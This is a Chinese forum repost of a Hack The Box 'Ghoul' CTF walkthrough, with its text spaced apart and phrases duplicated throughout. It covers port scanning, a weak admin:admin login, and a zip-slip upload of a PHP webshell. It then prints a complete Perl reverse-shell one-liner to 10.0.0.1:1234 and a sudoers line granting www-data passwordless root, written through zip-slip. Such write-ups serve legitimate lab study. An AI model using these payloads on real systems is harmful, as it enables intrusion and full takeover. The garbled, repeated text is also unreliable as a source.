搜索

[20256] 2019-10-19_Hackthebox-Ghoul

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-10-19_Hackthebox-Ghoul H a c k t h e b o x - G h o u l 原 创   K h a n   K h a n 安 全 攻 防 实 验 室   2 0 1 9 - 1 0 - 1 9 C T F 挑 战 靶 机 是 来 自 挑 战 靶 机 是 来 自 h a c k t h e b o x 的 的 “ G h o u l ” ， ， h a c k t h e b o x 是 一 个 非 常 不 错 的 在 线 实 验 平 台 。 是 一 个 非 常 不 错 的 在 线 实 验 平 台 。 M a s s c a n 扫 描 出 目 标 存 在 扫 描 出 目 标 存 在 2 2 ， ， 8 0 ， ， 8 0 8 0 ， ， 2 2 2 2 端 口 端 口 用 用 n m a p   - a 参 数 扫 出 更 详 细 的 系 统 信 息 参 数 扫 出 更 详 细 的 系 统 信 息 8 0 8 0 w e b 端 口 需 要 身 份 认 证 才 能 登 录 ， 弱 口 令 端 口 需 要 身 份 认 证 才 能 登 录 ， 弱 口 令 a d m i n : a d m i n 拿 下 拿 下 发 现 发 现 8 0 8 0 存 在 文 件 上 传 ， 分 别 是 存 在 文 件 上 传 ， 分 别 是 i m a g e 上 传 和 上 传 和 z i p 上 传 上 传 图 片 上 传 穿 不 了 马 ， 发 现 图 片 上 传 穿 不 了 马 ， 发 现 z i p 可 以 上 传 带 可 以 上 传 带 p h p 脚 本 内 容 的 文 件 脚 本 内 容 的 文 件 网 上 查 出 网 上 查 出 z i p - s l i p ， 当 ， 当 a p p l i c a t i o n 中 存 在 压 缩 包 解 压 代 码 且 没 有 验 证 文 件 的 情 况 下 ， 会 构 成 中 存 在 压 缩 包 解 压 代 码 且 没 有 验 证 文 件 的 情 况 下 ， 会 构 成 z i p - s l i p 漏 洞 漏 洞 相 关 链 接 ： 相 关 链 接 ： h t t p s : / / x z . a l i y u n . c o m / t / 2 3 8 2
利 用 利 用 e v i l a r c 工 具 构 造 工 具 构 造 p h p w e b s h e l l 的 恶 意 压 缩 包 的 恶 意 压 缩 包 工 具 路 径 ： 工 具 路 径 ： h t t p s : / / g i t h u b . c o m / p t o o m e y 3 / e v i l a r c 连 上 连 上 w e b s h e l l 我 们 开 启 我 们 开 启 n c 监 听 ， 用 监 听 ， 用 p e r l 反 连 反 连 p e r l   - e   ' u s e S o c k e t ; $ i = " 1 0 . 0 . 0 . 1 " ; $ p = 1 2 3 4 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ;   连 上 连 上 w e b s h e l l 后 我 们 尝 试 将 后 我 们 尝 试 将 s h e l l 升 级 为 完 全 交 互 式 的 升 级 为 完 全 交 互 式 的 T T Y 准 备 工 作 ： 需 要 在 准 备 工 作 ： 需 要 在 自 己 的 终 端 上 面 检 查 自 己 的 终 端 上 面 检 查 S T T Y 和 和 T E R M 的 信 息 的 信 息 用 用 s t t y   - a 检 查 当 前 检 查 当 前 S T T Y 信 息 信 息 用 用 e c h o   $ T E R M 检 查 当 前 终 端 检 查 当 前 终 端 所 需 要 所 需 要 T E R M 类 型 （ 类 型 （ “ x t e r m - 2 5 6 c o l o r ” ） 和 当 前 ） 和 当 前 T T Y 大 小 （ 大 小 （ 2 4 行 ； 行 ； 8 0 列 ） 列 ） S t e p 1 ： ： 查 看 存 不 存 在 查 看 存 不 存 在 p y t h o n 环 境 （ 不 存 在 环 境 （ 不 存 在 p y t h o n 环 境 的 情 况 不 在 这 讨 论 ， 详 细 看 下 方 连 接 ） 环 境 的 情 况 不 在 这 讨 论 ， 详 细 看 下 方 连 接 ）
S t e p 2 ： ： 存 在 存 在 p y t h o n 环 境 的 情 况 下 就 利 用 环 境 的 情 况 下 就 利 用 p y t h o n 的 的 p t y 模 块 创 建 一 个 伪 终 端 ， 命 令 如 下 模 块 创 建 一 个 伪 终 端 ， 命 令 如 下 : #   p y t h o n   - c   ’ i m p o r t   p t y ; p t y . s p a w n ( “ / b i n / b a s h ” ) ’ S t e p 3 ： ： C t r l - z 将 终 端 放 入 后 台 ， 将 当 前 将 终 端 放 入 后 台 ， 将 当 前 S T T Y 设 置 为 设 置 为 r a w ， 输 入 如 下 命 令 ： ， 输 入 如 下 命 令 ： #   s t t y   r a w   - e c h o R a w 设 置 打 开 后 ， 你 可 能 会 看 不 见 下 一 条 的 输 入 ， 但 是 命 令 仍 会 执 行 ， 输 入 命 令 ： 设 置 打 开 后 ， 你 可 能 会 看 不 见 下 一 条 的 输 入 ， 但 是 命 令 仍 会 执 行 ， 输 入 命 令 ： #   f g 将 将 s h e l l 从 后 台 中 提 出 来 ， 并 重 置 它 ， 输 入 如 下 命 令 进 行 重 置 ： 从 后 台 中 提 出 来 ， 并 重 置 它 ， 输 入 如 下 命 令 进 行 重 置 ： #   r e s e t S t e p 4 ： ： 我 看 会 看 到 我 看 会 看 到 s h e l l 被 提 取 到 了 前 台 ， 接 下 来 我 们 输 入 以 下 三 条 指 令 去 匹 配 我 们 当 前 的 终 端 窗 口 （ 根 据 上 面 收 集 的 信 息 ） 被 提 取 到 了 前 台 ， 接 下 来 我 们 输 入 以 下 三 条 指 令 去 匹 配 我 们 当 前 的 终 端 窗 口 （ 根 据 上 面 收 集 的 信 息 ） #   e x p o r t   S H E L L = b a s h #   e x p o r t   T E R M = x t e r m - 2 5 6 c o l o r #   s t t y   r o w s   2 4   c o l u m n s   8 0 最 终 哦 我 们 得 到 一 个 用 最 终 哦 我 们 得 到 一 个 用 n c   s h e l l 升 级 的 升 级 的 T T Y ， 它 具 有 命 令 补 全 ， 历 史 查 看 等 功 能 ， 它 具 有 命 令 补 全 ， 历 史 查 看 等 功 能   具 体 来 源 如 下 ： 具 体 来 源 如 下 ： h t t p s : / / b l o g . r o p n o p . c o m / u p g r a d i n g - s i m p l e - s h e l l s - t o - f u l l y - i n t e r a c t i v e - t t y s / 用 用 m o u n t 可 以 查 看 到 可 以 查 看 到 w e b 是 跑 在 是 跑 在 d o c k e r 里 面 的 ， 我 们 可 以 将 在 里 面 的 ， 我 们 可 以 将 在 s u d o e r s 文 件 里 面 写 入 命 令 ， 将 文 件 里 面 写 入 命 令 ， 将 w w w - d a t a 提 升 为 提 升 为 r o o t 权 限 ， 写 入 的 权 限 ， 写 入 的 内 容 如 下 ： 内 容 如 下 ： w w w - d a t a   A L L = ( A L L )   N O P A S S W D : A L L 利 用 利 用 z i p - s l i p 将 将 s u d o e r s 写 入 到 写 入 到 / e t c / s u d o e r s
无 需 密 码 获 取 无 需 密 码 获 取 r o o t 权 限 ， 权 限 ， c a t   f l a g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理